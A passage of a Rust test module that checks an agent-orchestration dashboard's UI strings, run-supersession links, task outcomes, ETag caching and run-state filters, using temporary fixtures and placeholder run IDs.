22562 assert!(APP_JS.contains("function reportUnreachableDuringUpgrade("));
22567 assert!(APP_JS.contains("reconnects on its own"));
22568 }
22569
22570 #[test]
22571 fn a_failed_upgrade_does_not_lock_the_loop_controls() {
22572 let body = &APP_JS[APP_JS.find("function renderLoop(").expect("renderLoop")
22573 ..APP_JS.find("function upgrade(").expect("upgrade")];
22574 assert!(!body.contains(
22575 "upgradeStage === \"failed\") {\n setAttr(box, \"data-state\", \"failed\")"
22576 ));
22577 assert!(body.contains("renderUpgradeError();"));
22578 assert!(INDEX_HTML.contains("id=\"upgrade-error\""));
22579 }
22580
22581 #[test]
22582 fn an_overdue_upgrade_eventually_asks_for_a_human() {
22583 assert!(APP_JS.contains("UPGRADE_WAIT_LIMIT_MS = 70 * 60 * 1000"));
22586 assert!(APP_JS.contains("function upgradeOverdue("));
22587 }
22588
22589 #[test]
22590 fn coming_back_from_an_upgrade_says_which_version_it_landed_on() {
22591 assert!(
22592 APP_JS.contains("Updated to ${upgradeInfo.to"),
22593 "the operator who asked for the restart wants to know it worked"
22594 );
22595 }
22596
22597 #[test]
22598 fn an_error_is_visible_from_where_the_button_is() {
22599 let alert = &APP_CSS[APP_CSS.find(".alert {").expect(".alert")
22604 ..APP_CSS.find(".alert-text").expect(".alert-text")];
22605 assert!(
22606 alert.contains("position: fixed"),
22607 "an error about the thing under your thumb has to be visible from \
22608 where your thumb is: {alert}"
22609 );
22610 assert!(
22611 alert.contains("z-index: 25"),
22612 "above the dock (20) and the run-actions FAB (15), so neither \
22613 buries it: {alert}"
22614 );
22615 assert!(
22616 alert.contains("var(--tap)"),
22617 "and clear of the dock and the home indicator: {alert}"
22618 );
22619 assert!(
22622 alert.contains("var(--s4) + var(--tap) + var(--s3)"),
22623 "the FAB's column stays free: {alert}"
22624 );
22625 }
22626
22627 #[tokio::test]
22628 async fn an_older_attempt_says_what_replaced_it() {
22629 let fx = Fixture::start().await;
22630 let q = fx.queue();
22631 let runs = fx.runs();
22632 let (first, second) = ("20260901-000000-aaaa", "20260901-000000-bbbb");
22633 write_run(&runs, first, RunStatus::Stalled);
22634 write_run(&runs, second, RunStatus::Blocked);
22635
22636 let mut t = Task::new(
22637 "one task".to_owned(),
22638 "do it".to_owned(),
22639 PathBuf::from("/repo"),
22640 Source::Human,
22641 );
22642 t.runs = vec![first.to_owned(), second.to_owned()];
22643 q.put(&mut t).expect("put");
22644
22645 let rows = fx.get("/api/runs").await.json();
22649 let by = |short: &str| -> Value {
22650 rows.as_array()
22651 .unwrap()
22652 .iter()
22653 .find(|r| r["short"] == short)
22654 .cloned()
22655 .unwrap_or(Value::Null)
22656 };
22657 assert_eq!(by("aaaa")["superseded_by"], "bbbb");
22658 assert!(
22659 by("bbbb")["superseded_by"].is_null(),
22660 "the latest attempt is not superseded by anything"
22661 );
22662 assert!(APP_JS.contains("run.superseded_by"));
22664 assert!(APP_JS.contains("Superseded by"));
22665 }
22666
22667 fn outcome_task(runs: &[&str], status: TaskStatus) -> Task {
22668 let mut t = Task::new(
22669 "one task".to_owned(),
22670 "do it".to_owned(),
22671 PathBuf::from("/repo"),
22672 Source::Human,
22673 );
22674 t.runs = runs.iter().map(|r| (*r).to_owned()).collect();
22675 t.status = status;
22676 t
22677 }
22678
22679 #[test]
22680 fn source_link_picks_the_page_that_filed_the_task() {
22681 let agent = |node: &str| Source::Agent {
22682 run: "20260904-014455-ab12".to_owned(),
22683 node: node.to_owned(),
22684 };
22685 let chat = source_link(&agent("chat")).expect("chat link");
22686 assert_eq!(chat.kind, "chat");
22687 assert_eq!(chat.id, "20260904-014455-ab12");
22688 assert_eq!(chat.href, "#/chat/20260904-014455-ab12");
22689 let run = source_link(&agent("implement")).expect("run link");
22690 assert_eq!(
22691 (run.kind, run.href.as_str()),
22692 ("run", "#/runs/20260904-014455-ab12")
22693 );
22694 assert_eq!(source_link(&Source::Human), None);
22695 assert_eq!(
22696 source_link(&Source::Issue {
22697 number: 3,
22698 repo: "o/r".to_owned()
22699 }),
22700 None
22701 );
22702 let odd = source_link(&Source::Agent {
22703 run: "a b/c".to_owned(),
22704 node: "chat".to_owned(),
22705 })
22706 .expect("link");
22707 assert_eq!(odd.href, "#/chat/a%20b%2Fc");
22708 }
22709
22710 #[test]
22711 fn the_ui_reads_the_source_link_instead_of_guessing_a_route() {
22712 assert!(
22713 !APP_JS.contains("src.node === \"chat\""),
22714 "inline href rule is back"
22715 );
22716 assert!(
22717 APP_JS.matches("sourceLinkOf(").count() >= 4,
22718 "helper must serve every page"
22719 );
22720 assert!(
22721 APP_JS.matches("openChatLink(").count() >= 3,
22722 "the run page still needs its explicit chat link"
22723 );
22724 assert!(
22725 !APP_JS.contains("const openChat = el("),
22726 "the Queue card duplicates its source label link again"
22727 );
22728 assert!(
22729 APP_JS.contains("metaKids.push(link ? el(\"a\""),
22730 "the task page must link a chat source label too"
22731 );
22732 }
22733
22734 #[test]
22735 fn task_ref_carries_the_source_link_for_a_chat_task() {
22736 let mut t = outcome_task(&["20260901-000000-aaaa"], TaskStatus::Held);
22737 t.source = Source::Agent {
22738 run: "20260904-014455-ab12".to_owned(),
22739 node: "chat".to_owned(),
22740 };
22741 let out = task_outcome(&t, "20260901-000000-aaaa", 3, |_| None);
22742 let v = serde_json::to_value(&out).expect("json");
22743 assert_eq!(v["source_link"]["kind"], "chat", "{v}");
22744 assert_eq!(v["source_link"]["href"], "#/chat/20260904-014455-ab12");
22745 assert_eq!(v["source_label"], t.source.label());
22746
22747 let human = outcome_task(&["20260901-000000-aaaa"], TaskStatus::Held);
22748 let v = serde_json::to_value(task_outcome(&human, "20260901-000000-aaaa", 3, |_| None))
22749 .expect("json");
22750 assert!(v["source_link"].is_null(), "{v}");
22751 }
22752
22753 #[test]
22754 fn task_view_serializes_source_link() {
22755 let mut t = Task::new(
22756 "t".to_owned(),
22757 "t".to_owned(),
22758 PathBuf::from("/repo"),
22759 Source::Agent {
22760 run: "20260901-000000-aaaa".to_owned(),
22761 node: "implement".to_owned(),
22762 },
22763 );
22764 t.runs.clear();
22765 let v = serde_json::to_value(TaskView::from(t)).expect("json");
22766 assert_eq!(v["source_link"]["kind"], "run", "{v}");
22767 assert_eq!(v["source_link"]["href"], "#/runs/20260901-000000-aaaa");
22768 }
22769
22770 #[test]
22771 fn task_view_serializes_urgent_flag() {
22772 let mut t = Task::new(
22773 "t".to_owned(),
22774 "t".to_owned(),
22775 PathBuf::from("/repo"),
22776 Source::Human,
22777 );
22778 let v = serde_json::to_value(TaskView::from(t.clone())).expect("json");
22779 assert_eq!(v["urgent"], false, "{v}");
22780 t.urgent = true;
22781 let v = serde_json::to_value(TaskView::from(t)).expect("json");
22782 assert_eq!(v["urgent"], true, "{v}");
22783 assert!(APP_JS.contains("task.urgent === true"));
22784 }
22785
22786 #[tokio::test]
22787 async fn a_blocked_run_reports_the_task_finishing_elsewhere() {
22788 let fx = Fixture::start().await;
22789 let runs = fx.runs();
22790 let (old, new) = ("20260901-000000-aaaa", "20260901-000000-bbbb");
22791 write_run(&runs, old, RunStatus::Blocked);
22792 write_run(&runs, new, RunStatus::Merged);
22793 let mut t = outcome_task(&[old, new], TaskStatus::Done);
22794 fx.queue().put(&mut t).expect("put");
22795
22796 let view = fx.get(&format!("/api/runs/{old}")).await.json();
22797 let task = &view["task"];
22798 assert_eq!(task["status"], "done");
22799 assert_eq!(task["is_latest"], false);
22800 assert_eq!(task["latest"]["short"], "bbbb");
22801 assert_eq!(task["finished_by"]["id"], new);
22802 assert_eq!(task["finished_by"]["outcome"], "merged");
22803 assert_eq!(task["closed_by_hand"], false);
22804 assert_eq!(view["status"], "blocked", "the run keeps its own status");
22805 assert!(APP_JS.contains("finished_by"));
22806 assert!(APP_JS.contains("superseded by run"));
22807 }
22808
22809 #[tokio::test]
22810 async fn the_latest_run_reports_a_held_task_without_a_successor() {
22811 let fx = Fixture::start().await;
22812 let runs = fx.runs();
22813 let (old, new) = ("20260901-000000-aaaa", "20260901-000000-bbbb");
22814 write_run(&runs, old, RunStatus::Stalled);
22815 write_run(&runs, new, RunStatus::Blocked);
22816 let mut t = outcome_task(&[old, new], TaskStatus::Held);
22817 fx.queue().put(&mut t).expect("put");
22818
22819 let task = fx.get(&format!("/api/runs/{new}")).await.json()["task"].clone();
22820 assert_eq!(task["status"], "held");
22821 assert_eq!(task["is_latest"], true);
22822 assert!(task["latest"].is_null());
22823 assert!(task["finished_by"].is_null());
22824 assert_eq!(task["closed_by_hand"], false);
22825 }
22826
22827 #[tokio::test]
22828 async fn a_direct_run_has_no_task_outcome() {
22829 let fx = Fixture::start().await;
22830 let runs = fx.runs();
22831 let id = "20260901-000000-aaaa";
22832 write_run(&runs, id, RunStatus::Blocked);
22833 let view = fx.get(&format!("/api/runs/{id}")).await.json();
22834 assert!(view["task"].is_null());
22835 }
22836
22837 #[test]
22838 fn task_outcome_does_not_guess_a_finishing_run() {
22839 let a = "20260901-000000-aaaa";
22840 let b = "20260901-000000-bbbb";
22841 let c = "20260901-000000-cccc";
22842 let dir = tempfile::tempdir().expect("tempdir");
22843 write_run(dir.path(), a, RunStatus::Blocked);
22844 write_run(dir.path(), b, RunStatus::VerifiedNoop);
22845 let read = |id: &str| read_run(dir.path(), id).ok();
22847 let t = outcome_task(&[a, b, c], TaskStatus::Done);
22850 let out = task_outcome(&t, a, 3, read);
22851 assert!(out.finished_by.is_none());
22852 assert!(out.closed_by_hand);
22853 let latest = out.latest.expect("latest");
22854 assert_eq!(latest.id, c);
22855 assert_eq!(latest.status, None);
22856 assert_eq!(latest.outcome, "record unreadable");
22857
22858 write_run(dir.path(), c, RunStatus::Ready);
22860 let t = outcome_task(&[a, c], TaskStatus::Done);
22861 let out = task_outcome(&t, a, 3, |id| read_run(dir.path(), id).ok());
22862 assert_eq!(out.finished_by.expect("finisher").id, c);
22863 assert!(!out.closed_by_hand);
22864
22865 let t = outcome_task(&[a, b, a], TaskStatus::Held);
22867 assert!(task_outcome(&t, a, 3, read).is_latest);
22868 }
22869
22870 #[tokio::test]
22871 async fn a_run_s_own_detail_page_says_what_replaced_it_too() {
22872 let fx = Fixture::start().await;
22877 let q = fx.queue();
22878 let runs = fx.runs();
22879 let (first, second) = ("20260901-000000-cccc", "20260901-000000-dddd");
22880 write_run(&runs, first, RunStatus::Blocked);
22881 write_run(&runs, second, RunStatus::Merged);
22882
22883 let mut t = Task::new(
22884 "one task".to_owned(),
22885 "do it".to_owned(),
22886 PathBuf::from("/repo"),
22887 Source::Human,
22888 );
22889 t.runs = vec![first.to_owned(), second.to_owned()];
22890 q.put(&mut t).expect("put");
22891
22892 let earlier = fx.get(&format!("/api/runs/{first}")).await.json();
22893 assert_eq!(earlier["superseded_by"], "dddd");
22894 assert_eq!(earlier["latest_attempt"]["id"], second);
22895 assert_eq!(earlier["latest_attempt"]["short"], "dddd");
22896 assert_eq!(
22897 earlier["latest_attempt"]["resolved"], true,
22898 "the run that replaced it landed, so this one reads as settled"
22899 );
22900
22901 let later = fx.get(&format!("/api/runs/{second}")).await.json();
22902 assert!(
22903 later["superseded_by"].is_null(),
22904 "the latest attempt is not superseded by anything"
22905 );
22906 assert!(
22907 later["latest_attempt"].is_null(),
22908 "the latest attempt has no later attempt of its own"
22909 );
22910
22911 assert!(APP_JS.contains("run.latest_attempt"));
22918 assert!(APP_JS.contains("data-superseded"));
22919 assert!(APP_JS.contains("#/runs/${latest.id}"));
22920 }
22921
22922 #[tokio::test]
22923 async fn a_chain_of_retries_points_the_oldest_at_the_current_head() {
22924 let fx = Fixture::start().await;
22930 let q = fx.queue();
22931 let runs = fx.runs();
22932 let (a, b, c) = (
22933 "20260901-000000-aaaa",
22934 "20260901-000000-bbbb",
22935 "20260901-000000-cccc",
22936 );
22937 write_run(&runs, a, RunStatus::Blocked);
22938 write_run(&runs, b, RunStatus::Blocked);
22939 write_run(&runs, c, RunStatus::Merged);
22940
22941 let mut t = Task::new(
22942 "retried twice".to_owned(),
22943 "do it".to_owned(),
22944 PathBuf::from("/repo"),
22945 Source::Human,
22946 );
22947 t.runs = vec![a.to_owned(), b.to_owned(), c.to_owned()];
22948 q.put(&mut t).expect("put");
22949
22950 let view = fx.get(&format!("/api/runs/{a}")).await.json();
22951 assert_eq!(view["superseded_by"], "bbbb", "the immediate successor");
22952 assert_eq!(
22953 view["latest_attempt"]["id"], c,
22954 "the chain's current head, not the intermediate Blocked retry"
22955 );
22956 assert_eq!(view["latest_attempt"]["resolved"], true);
22957
22958 let mid = fx.get(&format!("/api/runs/{b}")).await.json();
22959 assert_eq!(mid["latest_attempt"]["id"], c);
22960 assert_eq!(mid["latest_attempt"]["resolved"], true);
22961 }
22962
22963 #[tokio::test]
22964 async fn an_unresolved_or_unverified_successor_does_not_read_as_finished() {
22965 let fx = Fixture::start().await;
22966 let q = fx.queue();
22967 let runs = fx.runs();
22968
22969 let (still_blocked_a, still_blocked_b) = ("20260901-000000-e001", "20260901-000000-e002");
22972 write_run(&runs, still_blocked_a, RunStatus::Blocked);
22973 write_run(&runs, still_blocked_b, RunStatus::Blocked);
22974 let mut t1 = Task::new(
22975 "still stuck".to_owned(),
22976 "do it".to_owned(),
22977 PathBuf::from("/repo"),
22978 Source::Human,
22979 );
22980 t1.runs = vec![still_blocked_a.to_owned(), still_blocked_b.to_owned()];
22981 q.put(&mut t1).expect("put");
22982 let view1 = fx.get(&format!("/api/runs/{still_blocked_a}")).await.json();
22983 assert_eq!(view1["latest_attempt"]["resolved"], false);
22984 assert_eq!(view1["latest_attempt"]["status"], "blocked");
22985 assert_eq!(view1["latest_attempt"]["done"], true);
22986
22987 let (run_a, run_b) = ("20260901-000000-e005", "20260901-000000-e006");
22989 write_run(&runs, run_a, RunStatus::Blocked);
22990 write_run(&runs, run_b, RunStatus::Implementing);
22991 let mut t3 = Task::new(
22992 "retrying".to_owned(),
22993 "do it".to_owned(),
22994 PathBuf::from("/repo"),
22995 Source::Human,
22996 );
22997 t3.runs = vec![run_a.to_owned(), run_b.to_owned()];
22998 q.put(&mut t3).expect("put");
22999 let view3 = fx.get(&format!("/api/runs/{run_a}")).await.json();
23000 assert_eq!(view3["latest_attempt"]["id"], run_b);
23001 assert_eq!(view3["latest_attempt"]["resolved"], false);
23002 assert_eq!(view3["latest_attempt"]["done"], false);
23003
23004 let (noop_a, noop_b) = ("20260901-000000-e003", "20260901-000000-e004");
23009 write_run(&runs, noop_a, RunStatus::Blocked);
23010 write_run(&runs, noop_b, RunStatus::VerifiedNoop);
23011 let mut t2 = Task::new(
23012 "claims done".to_owned(),
23013 "do it".to_owned(),
23014 PathBuf::from("/repo"),
23015 Source::Human,
23016 );
23017 t2.runs = vec![noop_a.to_owned(), noop_b.to_owned()];
23018 q.put(&mut t2).expect("put");
23019 let view2 = fx.get(&format!("/api/runs/{noop_a}")).await.json();
23020 assert_eq!(
23021 view2["latest_attempt"]["resolved"], false,
23022 "an unverified no-op claim must not read as a confirmed finish"
23023 );
23024
23025 assert!(APP_JS.contains("latest.resolved"));
23028 assert!(APP_JS.contains("successorNote(latest, inFlight)"));
23031 assert!(APP_JS.contains("Latest attempt: "));
23032 assert!(APP_JS.contains("in flight"));
23033 assert!(APP_JS.contains("not resolved"));
23034 }
23035
23036 #[tokio::test]
23037 async fn a_replaced_deck_is_not_served_from_a_phone_s_cache() {
23038 let fx = Fixture::start().await;
23039 let js = fx.get("/app.js").await;
23045 assert_eq!(js.status, 200);
23046 let tag = js
23047 .header("etag")
23048 .expect("an etag to revalidate against")
23049 .to_owned();
23050 assert!(tag.contains(env!("CARGO_PKG_VERSION")), "tag: {tag}");
23051 assert_eq!(
23052 js.header("cache-control"),
23053 Some("no-cache, must-revalidate"),
23054 "the phone has to ask every time"
23055 );
23056
23057 let again = fx
23060 .get_with("/app.js", &[("if-none-match", tag.as_str())])
23061 .await;
23062 assert_eq!(
23063 again.status, 304,
23064 "a deck it already has costs one round trip"
23065 );
23066 assert!(again.body.is_empty(), "304 carries no body");
23067
23068 let weak = fx
23071 .get_with("/app.js", &[("if-none-match", &format!("W/{tag}"))])
23072 .await;
23073 assert_eq!(weak.status, 304);
23074 let stale = fx
23075 .get_with("/app.js", &[("if-none-match", "\"0.0.1-1\"")])
23076 .await;
23077 assert_eq!(stale.status, 200, "an older build must be replaced");
23078 assert!(stale.body.contains("renderRunActions"));
23079 }
23080
23081 #[test]
23082 fn the_task_detail_has_an_actions_fab_and_sheet() {
23083 assert!(INDEX_HTML.contains("id=\"task-actions-fab\""));
23084 assert!(INDEX_HTML.contains("id=\"task-actions-sheet\""));
23085 assert!(INDEX_HTML.contains("id=\"task-actions-error\" role=\"alert\""));
23086 assert!(APP_JS.contains("show($(\"task-actions-fab\"), route.name === \"task\")"));
23088 assert!(APP_JS.contains("if (route.name !== \"task\") closeTaskActions();"));
23089 assert!(APP_JS.contains("renderTaskActions(task.coreOnly || error ? null : task);"));
23091 assert!(APP_JS.contains("renderTaskActions(null);"));
23092 let sheet = APP_JS
23094 .find("function renderTaskActions")
23095 .expect("sheet renderer");
23096 let body = &APP_JS[sheet..sheet + 3000];
23097 assert!(body.contains("changePriority("));
23098 assert!(body.contains("openTaskEdit(task)"));
23099 assert!(body.contains("renderTaskHoldBox(host"));
23100 assert!(body.contains("renderTaskDoneBox(host"));
23101 assert!(body.contains("renderTaskDeleteBox(host"));
23102 assert!(APP_JS.contains("API.priority(id)"));
23103 assert!(APP_JS.contains("API.deleteTask(id)"));
23104 assert!(APP_JS.contains("location.hash = \"#/queue\""));
23106 assert!(APP_JS.contains("$(\"task-actions-error\")"));
23108 }
23109
23110 #[test]
23111 fn the_run_actions_sheet_leads_with_a_way_to_the_task() {
23112 let task = INDEX_HTML.find("id=\"run-task-box\"").expect("task box");
23113 let actions = INDEX_HTML
23114 .find("id=\"run-actions-box\"")
23115 .expect("actions box");
23116 assert!(task < actions, "the task entry comes first in the sheet");
23117 assert!(APP_JS.contains("renderRunTaskEntry"));
23118 assert!(APP_JS.contains("\"Open task \""));
23119 assert!(APP_JS.contains("started directly, no task"));
23121 assert!(APP_JS.contains("sheet-task-link"));
23122 assert!(APP_JS.contains("task-chip-link"));
23123 }
23124
23125 #[test]
23126 fn the_deck_never_sends_the_operator_to_a_terminal() {
23127 assert!(
23130 !APP_JS.contains("Run `magi fold` first"),
23131 "the deck must offer the fold, not prescribe a shell command"
23132 );
23133 assert!(APP_JS.contains("foldRun:"));
23134 assert!(APP_JS.contains("resumeRun:"));
23135 assert!(APP_JS.contains("renderRunActions"));
23136
23137 assert!(APP_JS.contains("armedFold"));
23139 assert!(APP_JS.contains("Yes, fold worktrees"));
23140
23141 assert!(APP_JS.contains("can no longer be resumed"));
23144 }
23145
23146 #[test]
23147 fn a_finished_run_explains_itself_with_its_own_last_line() {
23148 assert!(
23154 !APP_JS.contains("collapsed on agent quota"),
23155 "a stall must not be explained by a cause the deck did not check"
23156 );
23157 assert!(
23158 !APP_JS.contains("Review rounds ran out with findings still open, or the gate failed"),
23159 "and a block must not offer a guess with an `or` in it"
23160 );
23161
23162 assert!(
23166 APP_JS.contains("setText(r.event, run.event || \"\")"),
23167 "the run's last line is rendered unconditionally"
23168 );
23169 assert!(
23170 !APP_JS.contains("moving && run.event"),
23171 "and never gated on the run still moving"
23172 );
23173
23174 assert!(APP_JS.contains("lost to quota"));
23176 }
23177
23178 #[test]
23200 fn runs_tree_sections_and_state_chips_agree_on_what_a_run_can_be() {
23201 let shapes_marker = "const REPRESENTATIVE_RUN_SHAPES = [";
23202 let shapes_body_start =
23203 APP_JS.find(shapes_marker).expect("the shape list exists") + shapes_marker.len();
23204 let shapes_close = APP_JS[shapes_body_start..]
23205 .find("].map(")
23206 .expect("the shape list is closed by its done-computing .map(...)")
23207 + shapes_body_start;
23208 let shapes_src = &APP_JS[shapes_body_start..shapes_close];
23209
23210 let mut shapes: Vec<(bool, String, bool, bool)> = Vec::new();
23211 for entry in shapes_src.split('{').skip(1) {
23212 let waiting = entry.contains("waiting: true");
23213 let dead = entry.contains("live: \"dead\"");
23214 let status_at =
23215 entry.find("status: \"").expect("each shape names a status") + "status: \"".len();
23216 let status_end = entry[status_at..]
23217 .find('"')
23218 .expect("the status string is closed")
23219 + status_at;
23220 let parked = entry.contains("display_status: \"parked\"");
23221 shapes.push((
23222 waiting,
23223 entry[status_at..status_end].to_string(),
23224 dead,
23225 parked,
23226 ));
23227 }
23228 assert!(shapes.len() >= 6, "parsed shapes: {shapes:?}");
23229
23230 let done_rule_marker = "done: !";
23234 let done_rule_at = APP_JS[shapes_close..]
23235 .find(done_rule_marker)
23236 .expect("the done rule follows the shape list")
23237 + shapes_close
23238 + done_rule_marker.len();
23239 let includes_at = APP_JS[done_rule_at..]
23240 .find(".includes(shape.status)")
23241 .expect("the done rule ends in .includes(shape.status)")
23242 + done_rule_at;
23243 let not_done: Vec<&str> = APP_JS[done_rule_at..includes_at]
23244 .trim()
23245 .trim_start_matches('[')
23246 .trim_end_matches(']')
23247 .split(',')
23248 .map(|s| s.trim().trim_matches('"'))
23249 .filter(|s| !s.is_empty())
23250 .collect();
23251
23252 let shapes: Vec<(bool, String, bool, bool, bool)> = shapes
23253 .into_iter()
23254 .map(|(waiting, status, dead, parked)| {
23255 let done = !not_done.contains(&status.as_str());
23256 (waiting, status, dead, parked, done)
23257 })
23258 .collect();
23259
23260 fn run_section(waiting: bool, status: &str, dead: bool, parked: bool) -> &'static str {
23264 if waiting {
23265 return "waiting";
23266 }
23267 if dead
23268 && !parked
23269 && !matches!(
23270 status,
23271 "merged"
23272 | "ready"
23273 | "stalled"
23274 | "blocked"
23275 | "failed"
23276 | "verified_noop"
23277 | "superseded"
23278 | "already_in_base"
23279 )
23280 {
23281 return "stale";
23282 }
23283 match status {
23284 "merged" | "ready" => "landed",
23285 "stalled" | "blocked" | "failed" | "verified_noop" | "superseded"
23286 | "already_in_base" => "ended",
23287 _ => "flight",
23288 }
23289 }
23290
23291 fn filter_matches(filter_key: &str, waiting: bool, dead: bool, done: bool) -> bool {
23294 match filter_key {
23295 "active" => !done,
23296 "flight" => !done && !waiting && !dead,
23297 "stale" => !done && !waiting && dead,
23298 "waiting" => waiting,
23299 "done" => done,
23300 "all" => true,
23301 other => panic!("unknown RUN_STATE_FILTERS key: {other}"),
23302 }
23303 }
23304
23305 let compatible = |section: &str, filter_key: &str| {
23306 shapes.iter().any(|(waiting, status, dead, parked, done)| {
23307 run_section(*waiting, status, *dead, *parked) == section
23308 && filter_matches(filter_key, *waiting, *dead && !*parked, *done)
23309 })
23310 };
23311
23312 let expected = [
23317 ("waiting", [true, false, false, true, true, true]),
23318 ("stale", [true, false, true, false, false, true]),
23319 ("flight", [true, true, false, false, false, true]),
23320 ("landed", [false, false, false, false, true, true]),
23321 ("ended", [false, false, false, false, true, true]),
23322 ];
23323 let filter_keys = ["active", "flight", "stale", "waiting", "done", "all"];
23324
23325 for (section, wants) in expected {
23326 for (filter_key, want) in filter_keys.iter().zip(wants) {
23327 assert_eq!(
23328 compatible(section, filter_key),
23329 want,
23330 "section {section:?} x filter {filter_key:?} should be compatible: {want}"
23331 );
23332 }
23333 }
23334
23335 assert!(
23338 APP_JS.contains("function sectionCompatibleWithStateFilter(sectionKey, filterKey)")
23339 );
23340 assert!(APP_JS.contains(
23341 "if (state.runsFilter.section && !sectionCompatibleWithStateFilter(state.runsFilter.section, key))"
23342 ));
23343 assert!(APP_JS.contains(
23344 "if (!same && !sectionCompatibleWithStateFilter(section, state.runsStateFilter))"
23345 ));
23346 }
23347
23348 #[tokio::test]
23349 async fn normalize_default_repo_leaves_an_explicit_path_untouched() {
23350 let dir = tempfile::tempdir().expect("tempdir");
23354 let explicit = dir.path().join("not-a-checkout");
23355 std::fs::create_dir_all(&explicit).expect("create dir");
23356 assert_eq!(normalize_default_repo(explicit.clone()).await, explicit);
23357
23358 let missing = dir.path().join("does-not-exist-at-all");
23359 assert_eq!(normalize_default_repo(missing.clone()).await, missing);
23360 }
23361
23362 #[test]
23363 fn stats_verdict_donut_has_fixed_colours_and_a_minimum_arc() {
23364 assert!(APP_JS.contains("function statsDonutArcs"));
23365 assert!(APP_JS.contains("STATS_DONUT_MIN_DEG"));
23366 assert!(APP_JS.contains("function statusInBucket"));
23368 assert!(APP_JS.contains("statuses: [\"superseded\", \"already_in_base\"]"));
23369 assert!(INDEX_HTML.contains("id=\"stats-verdict-donut\""));
23370 let buckets = [
23371 "merged",
23372 "ready",
23373 "in_progress",
23374 "blocked",
23375 "failed",
23376 "verified_noop",
23377 "superseded",
23378 "stalled",
23379 ];
23380 for key in buckets {
23381 let var = format!("--verdict-{key}:");
23382 assert_eq!(APP_CSS.matches(&var).count(), 3, "{var}");
23384 assert!(
23385 APP_CSS.contains(&format!("[data-verdict=\"{key}\"]")),
23386 "{key}"
23387 );
23388 }
23389 }
23390
23391 #[tokio::test]
23392 async fn resolve_talk_and_task_avoid_deserializing_corrupt_or_unrelated_json() {
23393 let dir = tempfile::tempdir().expect("tempdir");
23394 let queue = Queue::at(dir.path().join("queue"));
23395 let talks = Talks::at(dir.path().join("talks"));
23396 std::fs::create_dir_all(queue.root()).unwrap();
23397 std::fs::create_dir_all(talks.root()).unwrap();
23398
23399 std::fs::write(queue.root().join("corrupt-task.json"), "invalid json").unwrap();
23401 std::fs::write(talks.root().join("corrupt-talk.json"), "invalid json").unwrap();
23402
23403 let mut task = Task::new(
23405 "title".into(),
23406 "inst".into(),
23407 PathBuf::from("/repo"),
23408 Source::Human,
23409 );
23410 task.id = "20261019-123456-abcd".into();
23411 std::fs::write(
23413 queue.path_of(&task.id),
23414 serde_json::to_string(&task).unwrap(),
23415 )
23416 .unwrap();
23417
23418 let talk_id = "20261019-234567-cdef";
23419 seed_talk_at(&talks, talk_id, "open");
23420
23421 assert_eq!(resolve_task(&queue, &task.id).unwrap(), task.id);
23423 assert_eq!(resolve_talk(&talks, talk_id).unwrap(), talk_id);
23424
23425 assert_eq!(resolve_task(&queue, "abcd").unwrap(), task.id);
23427 assert_eq!(resolve_talk(&talks, "cdef").unwrap(), talk_id);
23428 }
23429
23430 #[tokio::test]
23431 async fn question_core_and_empty_origins_do_not_touch_unavailable_histories() {
23432 let home = tempfile::tempdir().unwrap();
23433 let ui = delta_test_ui(home.path());
23434 std::fs::write(ui.queue.root(), "not a directory").unwrap();
23436 std::fs::write(ui.talks.root(), "not a directory").unwrap();
23437 assert!(
23438 questions_list(State(ui.clone()))
23439 .await
23440 .unwrap()
23441 .0
23442 .is_empty()
23443 );
23444 assert!(
23445 question_origins(State(ui.clone()))
23446 .await
23447 .unwrap()
23448 .0
23449 .is_empty()
23450 );
23451 let mut question = Question::new(
23452 "run-history".into(),
23453 "review".into(),
23454 "seat".into(),
23455 "Useful question".into(),
23456 "Useful detail".into(),
23457 vec![],
23458 );
23459 ui.questions.put(&mut question).unwrap();
23460 let core = questions_core(State(ui.clone())).await.unwrap().0;
23461 assert_eq!(core.len(), 1);
23462 assert_eq!(core[0].question.summary, "Useful question");
23463 assert!(!core[0].can_consult_chat);
23464 assert!(core[0].origin_chat.is_none());
23465 assert_eq!(core[0].record_revision, question_record_revision(&question));
23466 assert!(question_origins(State(ui.clone())).await.is_err());
23467 assert_eq!(ui.monitor.queue_index.lock().unwrap().reparsed, 0);
23468 }
23469
23470 #[test]
23471 fn question_origin_lookup_matches_legacy_with_large_and_changing_histories() {
23472 let home = tempfile::tempdir().unwrap();
23473 let ui = delta_test_ui(home.path());
23474 let chat_id = seed_talk_at(&ui.talks, "chat-origin", "closed");
23475 for i in 0..1000 {
23476 let mut task = Task::new(
23477 "unrelated".into(),
23478 "instruction ".repeat(256),
23479 PathBuf::from("/repo"),
23480 Source::Human,
23481 );
23482 task.id = format!("history-{i:04}");
23483 ui.queue.put(&mut task).unwrap();
23484 let id = seed_talk_at(&ui.talks, &task.id, "open");
23485 let mut talk = ui.talks.get(&id).unwrap();
23486 talk.pending = "history ".repeat(256);
23487 ui.talks.put(&mut talk).unwrap();
23488 }
23489 let mut parent = Task::new(
23490 "parent".into(),
23491 "body".into(),
23492 PathBuf::from("/repo"),
23493 Source::Agent {
23494 run: chat_id.clone(),
23495 node: crate::queue::CHAT_NODE.into(),
23496 },
23497 );
23498 parent.id = "task-parent".into();
23499 parent.runs = vec!["run-parent".into()];
23500 ui.queue.put(&mut parent).unwrap();
23501 let mut child = Task::new(
23502 "child".into(),
23503 "body".into(),
23504 PathBuf::from("/repo"),
23505 Source::Human,
23506 );
23507 child.id = "task-child".into();
23508 child.runs = vec!["run-child".into()];
23509 child.followup = Some(crate::queue::FollowUp {
23510 run: "run-parent".into(),
23511 origin_task: Some(parent.id.clone()),
23512 pr: "https://example.invalid/pr/1".into(),
23513 findings: vec![],
23514 generation: 1,
23515 });
23516 ui.queue.put(&mut child).unwrap();
23517 let mut question = Question::new(
23518 child.id.clone(),
23519 crate::conduct::NODE.into(),
23520 "seat".into(),
23521 "Continue?".into(),
23522 String::new(),
23523 vec![],
23524 );
23525 let (tasks, talks) = question_origin_inputs(&ui, std::slice::from_ref(&question)).unwrap();
23526 assert_eq!(tasks.len(), 2);
23527 assert_eq!(talks.len(), 1);
23528 assert_eq!(
23529 ui.monitor.queue_index.lock().unwrap().reparsed,
23530 0,
23531 "exact ancestry bypasses the index"
23532 );
23533 assert_eq!(
23534 crate::consult::origin_talk(&tasks, &talks, &question)
23535 .unwrap()
23536 .id,
23537 chat_id
23538 );
23539 question.run = "run-child".into();
23540 question.node = "review".into();
23541 for origin_task in [Some(parent.id.clone()), None] {
23542 child.followup.as_mut().unwrap().origin_task = origin_task;
23543 ui.queue.put(&mut child).unwrap();
23544 let (tasks, talks) =
23545 question_origin_inputs(&ui, std::slice::from_ref(&question)).unwrap();
